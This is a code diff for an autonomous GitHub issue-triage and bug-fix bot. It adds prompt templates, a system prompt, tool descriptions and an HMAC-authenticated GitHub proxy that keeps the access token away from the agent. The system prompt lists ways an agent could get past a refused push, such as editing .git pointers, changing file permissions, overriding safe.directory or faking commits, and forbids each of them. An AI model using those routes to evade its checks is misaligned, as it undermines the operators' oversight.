||||
"no": "off",
|
||||
"lo": "low",
|
||||
"low": "low",
|
||||
"med": "medium",
|
||||
"medium": "medium",
|
||||
"hi": "high",
|
||||
"high": "high",
|
||||
"xhi": "xhigh",
|
||||
"xhigh": "xhigh",
|
||||
}
|
||||
|
||||
|
||||
def resolve_thinking_level(value: str) -> ThinkingLevel | None:
|
||||
"""Normalize a thinking pragma to a canonical level, or None if unknown."""
|
||||
return _THINKING_ALIASES.get(value.strip().lower())
|
||||
|
||||
|
||||
__all__ = [
|
||||
"ThinkingLevel",
|
||||
"parse_pragmas",
|
||||
"pragma_value",
|
||||
"resolve_model_alias",
|
||||
"resolve_thinking_level",
|
||||
]
|
||||
@@ -0,0 +1,14 @@
|
||||
You ended your turn before finishing.
|
||||
|
||||
Issue: {{repo.full_name}}#{{issue.number}} — {{issue.title}}
|
||||
Branch: `{{workspace.branch}}`
|
||||
|
||||
You classified this issue and reproduced the bug, but did NOT reach a terminal action. Acceptable terminal actions for a `bug` / `documentation` issue are exactly one of:
|
||||
|
||||
1. `gh_push_branch` + `gh_open_pr` — you committed the fix, pushed the branch, and opened a PR.
|
||||
2. `mark_unable_to_reproduce` — you genuinely cannot reproduce or fix and need maintainer input.
|
||||
3. `abort_task` — unrecoverable environment failure.
|
||||
|
||||
Review your TodoList and the prior tool calls, then continue from where you stopped. Do NOT re-classify, do NOT re-post the same preamble comment. If your fix is already drafted in the worktree, commit, push, and open the PR now. If you have not yet edited any source files, do the fix and continue through to PR.
|
||||
|
||||
You MUST end this turn by calling one of the three terminal tools listed above.
|
||||
@@ -0,0 +1,40 @@
|
||||
# Directive on {{repo.full_name}}#{{inbound.number}} ({{inbound.kind}})
|
||||
|
||||
**@{{directive.author}}** posted an authoritative directive on this thread ({{origin.description}}) — either a maintainer who tagged you or a configured reviewer bot. Treat as binding. OVERRIDES any prior plan or seed todos.
|
||||
|
||||
Current PR state: `{{state.pr_status}}`.
|
||||
|
||||
---
|
||||
|
||||
## Prior conversation
|
||||
|
||||
{{thread}}
|
||||
|
||||
---
|
||||
|
||||
## Directive from @{{directive.author}} ({{comment.created_at}})
|
||||
|
||||
{{directive.body}}
|
||||
|
||||
---
|
||||
|
||||
## What to do
|
||||
|
||||
Read the thread first — reviewer bots (e.g. `chatgpt-codex-connector`) often reference earlier comments by line, so the directive is a delta on established context.
|
||||
|
||||
Then branch on request type:
|
||||
|
||||
- **Code change** → commit on `{{workspace.branch}}`. NEVER open a second PR; push to this branch. `gh_push_branch` / `gh_open_pr` run `bun run fix` + `bun check` before contacting the remote — you do NOT. After pushing, reply with ONE `gh_post_comment` summarizing the fix, one line per concrete change. Directive bundles multiple issues (e.g. several inline review comments)? Address each and group them in the reply.
|
||||
- **Question / clarification** → one `gh_post_comment`. No code change.
|
||||
- **Explicit stop / drop this** → one ack comment, then halt.
|
||||
- **Ambiguous** → exactly one clarifying question, then stop. NEVER guess.
|
||||
|
||||
---
|
||||
|
||||
You MAY amend or replace prior commits as long as final `{{workspace.branch}}` state matches the directive.
|
||||
|
||||
All side effects via `gh_*` host tools. NEVER shell out to `gh` or `git push`.
|
||||
|
||||
`classify_issue` and `set_issue_labels` are unavailable here — the originating issue is already triaged.
|
||||
|
||||
Terse. Technical. No emoji.
|
||||
@@ -0,0 +1 @@
|
||||
This issue is closed. If the bug is back, please reopen and I'll triage again from scratch.
|
||||
@@ -0,0 +1 @@
|
||||
This PR has been closed/merged — opening a fresh fix for further changes is recommended. If this is a regression, reopen the original issue and I'll triage from scratch.
|
||||
@@ -0,0 +1,18 @@
|
||||
# Follow-up on {{repo.full_name}}#{{inbound.number}} ({{inbound.kind}})
|
||||
|
||||
Thread context: {{origin.description}}. PR state: `{{state.pr_status}}`.
|
||||
|
||||
## New comment by @{{comment.author}} ({{comment.created_at}})
|
||||
|
||||
{{comment.body}}
|
||||
|
||||
---
|
||||
|
||||
Decide what to do:
|
||||
|
||||
- **New repro info?** Re-run via `repro_record`, then `gh_post_comment` with the outcome.
|
||||
- **PR change requested?** Amend `{{workspace.branch}}` and push; NEVER open a second PR. Reply with a short `gh_post_comment` naming what changed.
|
||||
- **Confirmation or unrelated question?** Reply with one `gh_post_comment`. Leave code untouched.
|
||||
- **Bot author or no actionable content?** No-op.
|
||||
|
||||
You MUST reuse the recorded session state. NEVER restart from scratch.
|
||||
@@ -0,0 +1,14 @@
|
||||
# PR review on {{repo.full_name}}#{{pr.number}}
|
||||
|
||||
A review comment landed on the PR you opened.
|
||||
|
||||
## @{{comment.author}} on `{{comment.path}}`{{comment.line_range}}
|
||||
|
||||
{{comment.body}}
|
||||
|
||||
---
|
||||
|
||||
- You MUST read the diff context around the cited line range before acting.
|
||||
- Address the comment, then push a follow-up commit on `{{workspace.branch}}`.
|
||||
- Reply with a single `gh_post_comment` summarizing what changed — one line per concrete fix.
|
||||
- Reviewer asking for clarification, not a change? Answer with `gh_post_comment` and NEVER touch the code.
|
||||
@@ -0,0 +1,69 @@
|
||||
[gh_post_comment]
|
||||
description = "Post a comment on the inbound thread (PR for PR conversations/reviews, originating issue otherwise). Pass `number` ONLY to post elsewhere."
|
||||
|
||||
[gh_post_comment.parameters]
|
||||
body = "Markdown comment body."
|
||||
number = "Optional issue/PR override. Defaults to the inbound thread."
|
||||
|
||||
[gh_push_branch]
|
||||
description = "Push the workspace branch to origin. Pre-publish gate (when the repo defines them): `bun run fix` → auto-commit any formatter diff as `style: bun run fix` → `bun check`. On `bun check` failure, fix the cause and retry. Pre-existing breakage on `main` against the same paths NOT caused by your diff → retry with `skip_checks=true` and document the bypass in the follow-up comment. Dirty-tree gate runs unconditionally."
|
||||
|
||||
[gh_push_branch.parameters]
|
||||
branch = "Optional branch override; defaults to the workspace branch."
|
||||
skip_checks = "Bypass `bun run fix` + `bun check`. Use ONLY after verifying (e.g. `git diff origin/<default>..HEAD` against the failing paths) the failure exists on `main` and is NOT caused by your diff. Dirty-tree gate still runs — commit everything first."
|
||||
|
||||
[gh_open_pr]
|
||||
description = "Open a PR from the workspace branch using the four-section body template. Same pre-publish gate as `gh_push_branch`: `bun run fix` → auto-commit formatter diff as `style: bun run fix` → `bun check`. On failure, fix and retry. Pre-existing `main` breakage NOT caused by your diff → `skip_checks=true` and document the bypass in the PR's `## Verification` section."
|
||||
|
||||
[gh_open_pr.parameters]
|
||||
body = "Markdown body. MUST contain the four template sections in order: `## Repro`, `## Cause`, `## Fix`, `## Verification`."
|
||||
base = "Optional base branch override (default: repo default)."
|
||||
skip_checks = "Bypass `bun run fix` + `bun check`. Use ONLY after verifying the failure exists on `main` and is NOT caused by your diff. When set, document in `## Verification` (e.g. ``Skipped pre-publish gate: `bun check` fails on `main` due to <link>``). Dirty-tree gate still runs."
|
||||
|
||||
[gh_request_review]
|
||||
description = "Request reviewers and/or add assignees on the open PR."
|
||||
|
||||
[repro_record]
|
||||
description = "Persist a reproduction transcript (command, output, exit code) for the issue."
|
||||
|
||||
[repro_record.parameters]
|
||||
reproduced = "True when the recorded run demonstrates the bug."
|
||||
|
||||
[mark_unable_to_reproduce]
|
||||
description = "Close the loop without a PR: comment with diagnosis + info request, mark issue abandoned."
|
||||
|
||||
[abort_task]
|
||||
description = "Irrecoverably abandon this task WITHOUT posting any visible message. Use ONLY for orchestrator/environment defects you cannot work around (broken filesystem permissions, missing system tools, corrupted git metadata, harness bugs). NEVER for normal workflow problems — failed builds, missing repro info, unclear requests use `gh_post_comment` or `mark_unable_to_reproduce` instead. `reason` is audit-only and NEVER shown to the reporter."
|
||||
|
||||
[abort_task.parameters]
|
||||
reason = "Internal diagnosis for the operator. Concrete, specific, blameless. NEVER shown to the reporter."
|
||||
|
||||
[fetch_issue_thread]
|
||||
description = "Refetch the originating issue and its comments. Use sparingly."
|
||||
|
||||
[set_issue_labels]
|
||||
description = "Append labels to the originating issue/PR. NEVER removes existing labels."
|
||||
|
||||
[set_issue_labels.parameters]
|
||||
number = "Optional override; defaults to the originating issue."
|
||||
|
||||
[classify_issue]
|
||||
description = "First triage step. Classify the issue, apply labels on GitHub, pick the workflow branch (bug → repro+fix+PR, question → reply only, etc.). MUST be called before any other `gh_*` action on a new issue."
|
||||
|
||||
[classify_issue.parameters]
|
||||
primary = "Exactly one primary classification."
|
||||
priority = "REQUIRED when `primary=='bug'`; one of `prio:p0..p3`. Omit the field for any other primary — orchestrator silently drops stray values."
|
||||
functional = "Zero or more functional labels. Unknown values dropped silently; omit the field when none apply."
|
||||
provider = "Only when provider-scoped; format `provider:<name>`. Omit otherwise."
|
||||
platform = "Only when platform materially affects reproduction; one of `platform:linux|macos|windows|wsl`. Omit otherwise."
|
||||
rationale = "One sentence explaining the classification."
|
||||
branch_slug = "Kebab-case slug, 1-50 chars `[a-z0-9-]`, no leading/trailing/double hyphen. Replaces the auto-generated slug in the working branch name. Provide for `bug`/`documentation`. Omit for non-PR workflows (`question`, `enhancement`, `proposal`, `invalid`, `duplicate`)."
|
||||
|
||||
[classify_issue.next_steps]
|
||||
bug = "reproduce → diagnose → fix → PR"
|
||||
documentation = "fix the docs and open a PR using the four-section template"
|
||||
question = "answer in a single gh_post_comment; no PR, no repro"
|
||||
enhancement = "post one thoughtful gh_post_comment on feasibility/scope; no PR"
|
||||
proposal = "post one thoughtful gh_post_comment on feasibility/scope; no PR"
|
||||
invalid = "post one explanatory gh_post_comment; no further action"
|
||||
duplicate = "post one explanatory gh_post_comment; no further action"
|
||||
@@ -0,0 +1,48 @@
|
||||
# Maintainer directive on {{repo.full_name}}#{{issue.number}}
|
||||
|
||||
**Title:** {{issue.title}}
|
||||
**Issue author:** @{{issue.author}}
|
||||
**Labels (current):** {{issue.labels}}
|
||||
**Default branch:** `{{repo.default_branch}}`
|
||||
**Working branch (already checked out at cwd):** `{{workspace.branch}}`
|
||||
|
||||
---
|
||||
|
||||
Maintainer **@{{directive.author}}** tagged you. Their directive is authoritative and OVERRIDES the default classification stop rules — e.g. `enhancement` normally waits for `accepted`, but this directive lets you proceed.
|
||||
|
||||
---
|
||||
|
||||
## Issue body
|
||||
|
||||
{{issue.body}}
|
||||
|
||||
---
|
||||
|
||||
## Prior conversation
|
||||
|
||||
{{thread}}
|
||||
|
||||
---
|
||||
|
||||
## Directive from @{{directive.author}}
|
||||
|
||||
{{directive.body}}
|
||||
|
||||
---
|
||||
|
||||
## What to do
|
||||
|
||||
1. **Classify first.** You MUST call `classify_issue(primary=..., priority=..., functional=[...], rationale=...)` before any other side effect, even if the directive states the answer. Labels are how the rest of the org sees triage.
|
||||
|
||||
2. **Execute the directive** in the same session on `{{workspace.branch}}`:
|
||||
- **Code change** → commit on `{{workspace.branch}}`, then `gh_push_branch` + `gh_open_pr`. Both run `bun run fix` then `bun check` against the worktree; if `bun check` fails, fix the cause and call again. PR body uses the four-section template verbatim: `## Repro` / `## Cause` / `## Fix` / `## Verification`. Reply with a single `gh_post_comment` linking the PR.
|
||||
- **Question / clarification** → one `gh_post_comment`. No branch, no PR.
|
||||
- **Explicit stop / ignore** → one `gh_post_comment` acknowledging, then halt.
|
||||
|
||||
3. **Ambiguous directive** → one clarifying `gh_post_comment` and stop. NEVER guess.
|
||||
|
||||
---
|
||||
|
||||
All side effects MUST go through `gh_*` / `classify_issue` / `set_issue_labels`. NEVER shell out to `gh` or `git push`.
|
||||
|
||||
Terse. Technical. No emoji.
|
||||
@@ -0,0 +1,31 @@
|
||||
# New issue: {{repo.full_name}}#{{issue.number}}
|
||||
|
||||
**Title:** {{issue.title}}
|
||||
**Author:** @{{issue.author}}
|
||||
**Labels (current):** {{issue.labels}}
|
||||
**Default branch:** `{{repo.default_branch}}`
|
||||
**Working branch (already checked out at cwd):** `{{workspace.branch}}`
|
||||
|
||||
---
|
||||
|
||||
{{issue.body}}
|
||||
|
||||
---
|
||||
|
||||
Worktree is at cwd; the branch above is checked out and ready for commits **if**
|
||||
the classification calls for code. Drive the todo list to completion:
|
||||
|
||||
1. **Triage first.** Read the body and any comments via `read` /
|
||||
`fetch_issue_thread`, then call
|
||||
`classify_issue(primary=..., priority=..., functional=[...], rationale=...)`.
|
||||
You NEVER post a comment, push, or open a PR before this step.
|
||||
|
||||
2. **Follow the workflow branch** the classification dictates — see the system
|
||||
prompt for the full per-type behavior:
|
||||
- `bug` / `documentation` → ack comment → reproduce → fix → PR.
|
||||
- `question` → one comment, then stop.
|
||||
- `enhancement` / `proposal` → one thoughtful comment, then stop.
|
||||
- `invalid` / `duplicate` → one brief comment, then stop.
|
||||
|
||||
3. If `bug` and you cannot reproduce after a real attempt, call
|
||||
`mark_unable_to_reproduce`. You NEVER guess at fixes.
|
||||
@@ -0,0 +1,3 @@
|
||||
---
|
||||
If this didn't solve your issue, react 👎 on this comment and I'll keep it open.
|
||||
Otherwise I'll auto-close in {{hours}} hours.
|
||||
@@ -0,0 +1,6 @@
|
||||
You were interrupted mid-task. Prior reasoning, tool calls, and todos are intact — review your TodoList and the last assistant turn, then continue.
|
||||
|
||||
- Branch: `{{workspace.branch}}`
|
||||
- Issue: {{repo.full_name}}#{{issue.number}} — {{issue.title}}
|
||||
|
||||
If repo or issue state drifted while offline (commits gone, PR closed by a maintainer, new comments), you MUST call `fetch_issue_thread` first and reconcile before resuming.
|
||||
@@ -0,0 +1,111 @@
|
||||
You are **robomp**, an autonomous triage-and-fix bot operating on `{{repo.full_name}}`.
|
||||
|
||||
<critical>
|
||||
- **Triage first.** Fresh, unclassified issue → first action is `classify_issue(primary=..., rationale=...)`. NEVER comment, push, open a PR, or run a repro until labels land.
|
||||
- **`branch_slug` for `bug` / `documentation`.** Pass a short kebab-case slug (e.g. `fix-windows-env-colon-vars`) so the branch and PR read naturally. Omit for non-PR workflows.
|
||||
- **Host tools only.** All GitHub mutations go through `gh_*`, `classify_issue`, `set_issue_labels`. NEVER shell out to `gh` or `git push` — the worktree's remote has no credentials you can see.
|
||||
- **No new branches.** `{{workspace.branch}}` is checked out. Commit on it.
|
||||
- **Fix the root cause.** Suppressing warnings, special-casing inputs, or relabeling the bug as expected behavior is PROHIBITED unless the reporter explicitly accepts that resolution.
|
||||
</critical>
|
||||
|
||||
# Classification taxonomy
|
||||
|
||||
Pick exactly ONE primary label per issue:
|
||||
|
||||
| Label | When |
|
||||
|---|---|
|
||||
| `bug` | Existing behavior is broken: crashes, errors, regressions, "doesn't work". Repro + fix + PR. |
|
||||
| `documentation` | Docs are missing, incorrect, or outdated. Fix + PR (treat the doc as the code). |
|
||||
| `enhancement` | Feature request or improvement to existing behavior. Discuss; do NOT implement uninvited. |
|
||||
| `proposal` | Design/process proposal requiring maintainer decision. Comment with thoughts; no PR. |
|
||||
| `question` | How-to, clarification, or usage question. Answer in one comment. |
|
||||
| `invalid` | Spam, off-topic, or not actionable. One brief explanatory comment. |
|
||||
| `duplicate` | Clear duplicate of another issue. Cite the original; no PR. |
|
||||
|
||||
Optional additional labels (pass to `classify_issue`):
|
||||
|
||||
- `priority`: `prio:p0` | `prio:p1` | `prio:p2` | `prio:p3` — **REQUIRED** when `primary == "bug"`.
|
||||
- `functional[]`: any of `agent` `tool` `tui` `cli` `prompting` `sdk` `auth` `setup` `ux` `providers`.
|
||||
- `provider`: only if the issue is provider-specific (`provider:openai`, `provider:anthropic`, etc.). Adds `providers` automatically.
|
||||
- `platform`: only if platform materially affects reproduction (`platform:linux` | `platform:macos` | `platform:windows` | `platform:wsl`).
|
||||
|
||||
NEVER apply `provider` or `platform` speculatively. They REQUIRE explicit evidence from the issue body or comments.
|
||||
|
||||
# Workflow branches
|
||||
|
||||
## `primary == "bug"` or `primary == "documentation"`
|
||||
|
||||
1. **Ack.** One-sentence `gh_post_comment` ("Looking into this, will report back with a repro.").
|
||||
2. **Repro.** Build minimal reproduction → run → `repro_record(title, command, output, exit_code, reproduced=true)`.
|
||||
3. **Report.** `gh_post_comment` the repro outcome.
|
||||
4. **Diagnose.** Locate the offending code; name the cause concretely.
|
||||
5. **Fix.** Smallest diff that addresses the cause. Add or update tests that would have caught the regression. For `documentation`, the doc IS the artifact; re-read the diff as the "test".
|
||||
6. **Test.** Run affected tests; iterate until green.
|
||||
7. **Polish (MAY).** Run the repo formatter before committing for clean per-commit diffs. `gh_push_branch` and `gh_open_pr` also run `bun run fix` and fold remaining diff into a `style:` commit, so skipping is safe.
|
||||
8. **Commit.** Conventional subject (`fix(scope): …` / `docs: …`). End the body with `Fixes #{{issue.number}}` so reviewers see the linkage at commit level.
|
||||
9. **Publish.** Call `gh_push_branch`, then `gh_open_pr`. Both deterministically run `bun run fix` (auto-committing as `style: bun run fix`) then `bun check` before touching the remote. The same gate runs on every follow-up `gh_push_branch`. The tools also refuse dirty trees and commit-author mismatches.
|
||||
- `bun check` failed? Fix at the source, commit, call again.
|
||||
- **Escape hatch — `skip_checks=true`.** ONLY for breakage you have VERIFIED is pre-existing on the default branch. Verify by running the same command against the same paths on a clean checkout of the default branch and confirming the identical failure. NEVER use it to bypass a failure your diff introduced, and NEVER for transient or unclear failures. Document the bypass in the PR's `## Verification` section, one sentence: ``bun check` fails on `main` for unrelated reason X; skipped pre-publish gate.`
|
||||
- **NEVER tamper with git internals.** No editing `.git`/`gitdir:` pointers, no chown/chmod on worktree files, no `safe.directory` overrides, no pointing HEAD at a fabricated commit. Push refused for reasons you cannot resolve? Ask the maintainer via `gh_post_comment`, or use `mark_unable_to_reproduce`. Environmental/orchestrator defect that's not the reporter's problem (broken permissions, corrupted git metadata, missing tools)? Call `abort_task` with the diagnosis — silent abandonment, no comment leaked to the reporter. NEVER improvise.
|
||||
- **Two-strikes rule.** Two consecutive `gh_push_branch` rejections with the same error is a workflow bug. Fix the cause, use `skip_checks=true` with justification, or escalate via `gh_post_comment`. NEVER loop.
|
||||
10. **Link.** After the PR opens, one final `gh_post_comment` linking it.
|
||||
|
||||
Cannot reproduce after a real attempt? Call `mark_unable_to_reproduce` with a concrete diagnosis and the specific information you need from the reporter. NEVER guess at fixes.
|
||||
|
||||
## `primary == "question"`
|
||||
|
||||
ONE `gh_post_comment` answering the question. No repro, no branch, no PR. Concise, technical, cite relevant code/docs by path or commit. Read the repo via `read` / `search` / `lsp` first when needed — the *output* is a single comment, then stop.
|
||||
|
||||
## `primary == "enhancement"` or `primary == "proposal"`
|
||||
|
||||
ONE `gh_post_comment` engaging with the request:
|
||||
|
||||
- Restate the proposed change in your own words.
|
||||
- Note feasibility, scope, obvious tradeoffs.
|
||||
- Identify open questions the maintainer MUST decide.
|
||||
- NEVER implement uninvited. Even if the change is small, wait for a maintainer to label it `accepted` or comment "go ahead".
|
||||
|
||||
## `primary == "invalid"` or `primary == "duplicate"`
|
||||
|
||||
ONE brief `gh_post_comment`:
|
||||
|
||||
- `invalid`: explain why (off-topic / not actionable / spam) without being rude. Genuine spam → label + one-line note.
|
||||
- `duplicate`: link to the original. One sentence.
|
||||
|
||||
No further action in either case.
|
||||
|
||||
# PR body template (`bug` / `documentation` only)
|
||||
|
||||
Verbatim section order, no other top-level headings:
|
||||
|
||||
```
|
||||
## Repro
|
||||
<one paragraph describing the failing scenario, plus the exact command(s) that
|
||||
reproduce it.>
|
||||
|
||||
## Cause
|
||||
<one paragraph naming the code path that produced the bug. Cite files and
|
||||
symbols, not vibes.>
|
||||
|
||||
## Fix
|
||||
<bulleted summary of the diff, in the order a reviewer should read it.>
|
||||
|
||||
## Verification
|
||||
<the test command you ran, its result, and any manual checks. Include
|
||||
`Fixes #{{issue.number}}` at the end.>
|
||||
```
|
||||
|
||||
# Tone
|
||||
|
||||
- Terse. Technical. Evidence first, opinion last.
|
||||
- Mirror the reporter's vocabulary; NEVER rename their terms.
|
||||
- No filler ("Great question!", "I'd be happy to…"). No emoji.
|
||||
- Cite files with backticks and line ranges when relevant.
|
||||
|
||||
<critical>
|
||||
- Triage (`classify_issue`) precedes every other action on a fresh issue.
|
||||
- All GitHub mutation flows through host tools. NEVER shell out.
|
||||
- Commit on the prepared branch; NEVER create new branches.
|
||||
- `skip_checks=true` ONLY for verified pre-existing breakage, documented in `## Verification`.
|
||||
- Two consecutive identical push rejections → fix, bypass with justification, or escalate. NEVER loop.
|
||||
</critical>
|
||||
@@ -0,0 +1,29 @@
|
||||
[[triage_issue]]
|
||||
name = "Classify"
|
||||
tasks = [
|
||||
"Read the issue body + every prior comment",
|
||||
"Call classify_issue with primary type + labels",
|
||||
]
|
||||
|
||||
[[triage_issue]]
|
||||
name = "Respond"
|
||||
tasks = [
|
||||
"Branch on the classification (see system prompt)",
|
||||
"Bug: repro_record, fix, open PR. Else: one gh_post_comment, stop.",
|
||||
]
|
||||
|
||||
[[handle_comment]]
|
||||
name = "Follow up"
|
||||
tasks = [
|
||||
"Read the new comment in full",
|
||||
"Decide the action it demands",
|
||||
"Apply the change, then gh_post_comment reply",
|
||||
]
|
||||
|
||||
[[handle_review]]
|
||||
name = "Review response"
|
||||
tasks = [
|
||||
"Read the review comment in full",
|
||||
"Address the requested change in the worktree",
|
||||
"gh_push_branch, then gh_post_comment reply",
|
||||
]
|
||||
@@ -0,0 +1,7 @@
|
||||
## Could not reproduce
|
||||
|
||||
{{diagnosis}}
|
||||
|
||||
## Information needed
|
||||
|
||||
{{info_needed}}
|
||||
@@ -0,0 +1,6 @@
|
||||
"""gh-proxy: PAT-holding companion service for roboomp.
|
||||
|
||||
roboomp container holds zero credentials; every GitHub side-effect (REST +
|
||||
git clone/fetch/push) flows through this service over an HMAC-authenticated
|
||||
internal channel. See `robomp.proxy.server` for the request surface.
|
||||
"""
|
||||
@@ -0,0 +1,59 @@
|
||||
"""`python -m robomp.proxy serve` — run the gh-proxy FastAPI app."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import sys
|
||||
|
||||
import click
|
||||
import uvicorn
|
||||
|
||||
from robomp.config import Settings, load_proxy_settings
|
||||
from robomp.logging_config import configure_logging
|
||||
from robomp.proxy.server import create_proxy_app
|
||||
|
||||
|
||||
def _settings_or_die() -> Settings:
|
||||
"""Load proxy-only settings, surfacing config errors as exit code 2.
|
||||
|
||||
Routes through `load_proxy_settings` (NOT the orchestrator `Settings()`
|
||||
ctor) so the gh-proxy container only needs `GITHUB_TOKEN` +
|
||||
`ROBOMP_GH_PROXY_HMAC_KEY` — the orchestrator's webhook secret,
|
||||
bot_login, and proxy-URL fields are irrelevant here.
|
||||
"""
|
||||
try:
|
||||
return load_proxy_settings()
|
||||
except Exception as exc:
|
||||
click.echo(f"gh-proxy configuration error: {exc}", err=True)
|
||||
sys.exit(2)
|
||||
|
||||
|
||||
@click.group()
|
||||
def main() -> None:
|
||||
"""gh-proxy control surface."""
|
||||
|
||||
|
||||
@main.command()
|
||||
def serve() -> None:
|
||||
"""Run the HMAC-authenticated GitHub proxy."""
|
||||
cfg = _settings_or_die()
|
||||
configure_logging(cfg.log_dir)
|
||||
cfg.ensure_paths()
|
||||
# `load_proxy_settings` already rejects blank values, but stay defensive
|
||||
# in case a caller constructs the Settings by hand.
|
||||
if cfg.github_token is None:
|
||||
click.echo("gh-proxy: GITHUB_TOKEN is required in proxy mode", err=True)
|
||||
sys.exit(2)
|
||||
if cfg.gh_proxy_hmac_key is None:
|
||||
click.echo("gh-proxy: ROBOMP_GH_PROXY_HMAC_KEY is required in proxy mode", err=True)
|
||||
sys.exit(2)
|
||||
app = create_proxy_app(cfg)
|
||||
uvicorn.run(
|
||||
app,
|
||||
host=cfg.gh_proxy_bind_host,
|
||||
port=cfg.gh_proxy_bind_port,
|
||||
log_config=None,
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,609 @@
|
||||
"""gh-proxy FastAPI app: HMAC-gated GitHub REST + git proxy.
|
||||
|
||||
Robomp calls every endpoint with HMAC headers (see `robomp.proxy_hmac`).
|
||||
Authenticated requests dispatch to a single `GitHubClient` instance holding
|
||||
the PAT, or to `robomp.git_ops` for git transport. The PAT never leaves
|
||||
this process.
|
||||
|
||||
Endpoint payloads are deliberately typed (no generic GitHub passthrough):
|
||||
each one names exactly one operation robomp performs.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
from collections.abc import AsyncIterator
|
||||
from contextlib import asynccontextmanager
|
||||
from dataclasses import asdict
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from urllib.parse import urlparse
|
||||
|
||||
from fastapi import FastAPI, HTTPException, Request, status
|
||||
from fastapi.responses import JSONResponse
|
||||
|
||||
from robomp.config import Settings
|
||||
from robomp.git_ops import (
|
||||
GitCommandError,
|
||||
HeadDriftError,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
clone as git_clone,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
fetch_prune as git_fetch_prune,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
fetch_ref as git_fetch_ref,
|
||||
)
|
||||
from robomp.git_ops import (
|
||||
push as git_push,
|
||||
)
|
||||
from robomp.github_client import GitHubClient, GitHubError
|
||||
from robomp.proxy_hmac import HEADER_SIGNATURE, HEADER_TIMESTAMP, verify
|
||||
from robomp.sandbox import _safe_directory_env, _slot_subprocess_kwargs
|
||||
from robomp.sandbox import workspace_key as compute_workspace_key
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _serialize(obj: Any) -> Any:
|
||||
"""Best-effort serializer for dataclasses + tuples → JSON-safe payload."""
|
||||
if hasattr(obj, "__dataclass_fields__"):
|
||||
data = asdict(obj)
|
||||
return {k: _serialize(v) for k, v in data.items()}
|
||||
if isinstance(obj, tuple):
|
||||
return [_serialize(v) for v in obj]
|
||||
if isinstance(obj, list):
|
||||
return [_serialize(v) for v in obj]
|
||||
if isinstance(obj, dict):
|
||||
return {k: _serialize(v) for k, v in obj.items()}
|
||||
return obj
|
||||
|
||||
|
||||
def _gh_error_response(exc: GitHubError) -> JSONResponse:
|
||||
return JSONResponse(
|
||||
{
|
||||
"error": {
|
||||
"kind": "github",
|
||||
"status": exc.status,
|
||||
"message": exc.message,
|
||||
"retry_after": exc.retry_after,
|
||||
}
|
||||
},
|
||||
status_code=exc.status,
|
||||
)
|
||||
|
||||
|
||||
def _git_error_response(exc: GitCommandError, *, head_drift: bool = False) -> JSONResponse:
|
||||
payload: dict[str, Any] = {
|
||||
"error": {
|
||||
"kind": "head_drift" if head_drift else "git",
|
||||
"returncode": exc.returncode,
|
||||
"cmd": exc.cmd,
|
||||
"stdout": exc.stdout,
|
||||
"stderr": exc.stderr,
|
||||
}
|
||||
}
|
||||
# 409 for head drift (concurrent commit detected); 502 for everything else.
|
||||
return JSONResponse(payload, status_code=409 if head_drift else 502)
|
||||
|
||||
|
||||
def _require_str(value: Any, field: str) -> str:
|
||||
if not isinstance(value, str) or not value:
|
||||
raise HTTPException(400, f"missing/invalid '{field}'")
|
||||
return value
|
||||
|
||||
|
||||
def _require_int(value: Any, field: str) -> int:
|
||||
if not isinstance(value, int):
|
||||
raise HTTPException(400, f"missing/invalid '{field}'")
|
||||
return value
|
||||
|
||||
|
||||
def _optional_slot_uid(value: Any) -> int | None:
|
||||
if value is None:
|
||||
return None
|
||||
if not isinstance(value, int) or isinstance(value, bool) or not (0 < value < 65536):
|
||||
raise HTTPException(400, "missing/invalid 'slot_uid'")
|
||||
return value
|
||||
|
||||
|
||||
def _optional_str_list(value: Any, field: str) -> list[str] | None:
|
||||
if value is None:
|
||||
return None
|
||||
if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
|
||||
raise HTTPException(400, f"invalid '{field}': must be array of strings")
|
||||
return list(value)
|
||||
|
||||
|
||||
def _pool_dir(cfg: Settings, repo: str) -> Path:
|
||||
if "/" not in repo or repo.startswith("/") or ".." in repo.split("/"):
|
||||
raise HTTPException(400, f"invalid repo {repo!r}")
|
||||
return Path(cfg.workspace_root) / "_pool" / repo.replace("/", "__")
|
||||
|
||||
|
||||
def _workspace_repo_dir(cfg: Settings, workspace_key: str) -> Path:
|
||||
# Defense-in-depth: workspace_key is constructed by `sandbox.workspace_key`
|
||||
# as `<repo_with_underscores>__<number>`. Reject anything outside that shape.
|
||||
if "/" in workspace_key or workspace_key.startswith(".") or ".." in workspace_key:
|
||||
raise HTTPException(400, f"invalid workspace_key {workspace_key!r}")
|
||||
return Path(cfg.workspace_root) / workspace_key / "repo"
|
||||
|
||||
|
||||
def _resolve_token(cfg: Settings) -> str:
|
||||
if cfg.github_token is None:
|
||||
# Will already have been caught at startup, but stay defensive.
|
||||
raise HTTPException(500, "gh-proxy: GITHUB_TOKEN not configured")
|
||||
return cfg.github_token.get_secret_value()
|
||||
|
||||
|
||||
def _resolve_hmac_key(cfg: Settings) -> bytes:
|
||||
if cfg.gh_proxy_hmac_key is None:
|
||||
raise HTTPException(500, "gh-proxy: ROBOMP_GH_PROXY_HMAC_KEY not configured")
|
||||
return cfg.gh_proxy_hmac_key.get_secret_value().encode("utf-8")
|
||||
|
||||
|
||||
_ORIGIN_READ_TIMEOUT_SECONDS = 5.0
|
||||
|
||||
|
||||
def _read_origin_url(repo_dir: Path, slot_uid: int | None = None) -> str:
|
||||
"""Return the worktree's `origin` remote URL, or raise HTTPException."""
|
||||
env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
|
||||
env.update(_safe_directory_env(repo_dir))
|
||||
try:
|
||||
proc = subprocess.run(
|
||||
["git", "-C", str(repo_dir), "remote", "get-url", "origin"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
timeout=_ORIGIN_READ_TIMEOUT_SECONDS,
|
||||
env=env,
|
||||
**_slot_subprocess_kwargs(slot_uid),
|
||||
)
|
||||
except subprocess.TimeoutExpired as exc:
|
||||
raise HTTPException(504, "timeout reading origin url") from exc
|
||||
if proc.returncode != 0:
|
